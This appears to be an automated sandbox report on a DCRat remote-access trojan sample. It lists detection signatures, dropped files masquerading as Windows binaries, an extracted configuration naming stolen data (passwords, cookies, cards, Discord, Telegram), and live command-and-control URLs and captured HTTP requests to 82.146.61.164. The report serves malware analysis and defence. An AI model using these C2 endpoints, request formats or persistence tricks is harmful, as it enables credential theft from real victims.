Windows Analysis Report
B9exXW7c3t.exe

Overview

General Information

Sample name: B9exXW7c3t.exe
renamed because original name is a hash value
Original sample name: 13aeda86aafde4051d7ca9280dac9a67.exe
Analysis ID: 1430334
MD5: 13aeda86aafde4051d7ca9280dac9a67
SHA1: fd4a6168c79c28d6e25be7c799ffd25c2dbd69d0
SHA256: 01ef75f76ae452476b1de15a3238617f33c4b685e5bb423de49f34f44b0a0111
Tags: DCRatexe
Infos:

Detection

DCRat
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Yara detected DCRat
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
C2 URLs / IPs found in malware configuration
Creates an autostart registry key pointing to binary in C:\Windows
Creates an undocumented autostart registry key
Creates autostart registry keys with suspicious values (likely registry only malware)
Creates multiple autostart registry keys
Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Execution from Suspicious Folder
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Program Location with Network Connections
Sigma detected: System File Execution Location Anomaly
Uses schtasks.exe or at.exe to add and modify task schedules
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Suspicious Schtasks From Env Var Folder
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: B9exXW7c3t.exe Avira: detected
Antivirus detection for URL or domain
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?md25=UA&vb=r948xSj667Ud7PLnWmgd&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&md25=UA&vb=r948xSj667Ud7PLnWmgd Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/@=wWYj9GbwdHc0RHalJXdjV2U Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6 Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?2Axq4KFgntH6pOhfkXM061hX=JBth00EchN&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&2Axq4KFgntH6pOhfkXM061hX=JBth00EchN Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT Avira URL Cloud: Label: malware
Source: http://82.146.61.164 Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Long Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3 Avira URL Cloud: Label: malware
Source: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Windows Mail\ctfmon.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Avira: detection malicious, Label: HEUR/AGEN.1323342
Found malware configuration
Source: 00000000.00000002.2025245210.0000000012E8D000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: DCRat {"SCRT": "{\"e\":\"&\",\"d\":\",\",\"S\":\"-\",\"G\":\"~\",\"R\":\"<\",\"6\":\"%\",\"c\":\"^\",\"2\":\" \",\"A\":\")\",\"3\":\"$\",\"m\":\"#\",\"x\":\"(\",\"V\":\"`\",\"9\":\";\",\"5\":\"|\",\"v\":\"!\",\"I\":\"@\",\"N\":\".\",\"b\":\"_\",\"T\":\">\",\"J\":\"*\"}", "PCRT": "{\"2\":\"^\",\"Q\":\",\",\"F\":\"|\",\"I\":\"~\",\"d\":\")\",\"R\":\"_\",\"t\":\".\",\"m\":\"%\",\"W\":\"!\",\"U\":\"&\",\"Y\":\"@\",\"X\":\"*\",\"C\":\"`\",\"G\":\"$\",\"b\":\"#\",\"5\":\"(\",\"Z\":\"<\",\"x\":\"-\",\"1\":\" \",\"B\":\";\",\"N\":\">\"}", "TAG": "YBA", "MUTEX": "DCR_MUTEX-0SJnAuGLGjvH4UgcW6Na", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": "%UsersFolder% - Fast"}, "AS": true, "ASO": false, "AD": false, "H1": "http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/@=wWYj9GbwdHc0RHalJXdjV2U", "H2": "http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/@=wWYj9GbwdHc0RHalJXdjV2U", "T": "0"}
Multi AV Scanner detection for dropped file
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe ReversingLabs: Detection: 78%
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe ReversingLabs: Detection: 78%
Source: C:\Program Files\Windows Mail\ctfmon.exe ReversingLabs: Detection: 78%
Source: C:\Users\Default\Links\ApplicationFrameHost.exe ReversingLabs: Detection: 78%
Source: C:\Users\Default\Saved Games\QeWHGGzCXwoQygZUiDI.exe ReversingLabs: Detection: 78%
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe ReversingLabs: Detection: 78%
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe ReversingLabs: Detection: 78%
Multi AV Scanner detection for submitted file
Source: B9exXW7c3t.exe ReversingLabs: Detection: 78%
Machine Learning detection for dropped file
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Joe Sandbox ML: detected
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Joe Sandbox ML: detected
Source: C:\Program Files\Windows Mail\ctfmon.exe Joe Sandbox ML: detected
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Joe Sandbox ML: detected
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: B9exXW7c3t.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: B9exXW7c3t.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\2e26acd4fd0504 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Windows Mail\ctfmon.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Windows Mail\26c12092da979c Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Common Files\System\msadc\en-US\cc11b995f2a76d Jump to behavior
Source: B9exXW7c3t.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/@=wWYj9GbwdHc0RHalJXdjV2U
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: THEFIRST-ASRU THEFIRST-ASRU
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&9uruRJY5g5=IAnyS9b03NXXhs5T9XXpeBele&beuHnDzuhvZR4ed0=EmX&CW0ZiI=TGgCTxi7G HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?md25=UA&vb=r948xSj667Ud7PLnWmgd&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&md25=UA&vb=r948xSj667Ud7PLnWmgd HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?md25=UA&vb=r948xSj667Ud7PLnWmgd&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&md25=UA&vb=r948xSj667Ud7PLnWmgd HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6 HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 82.146.61.164
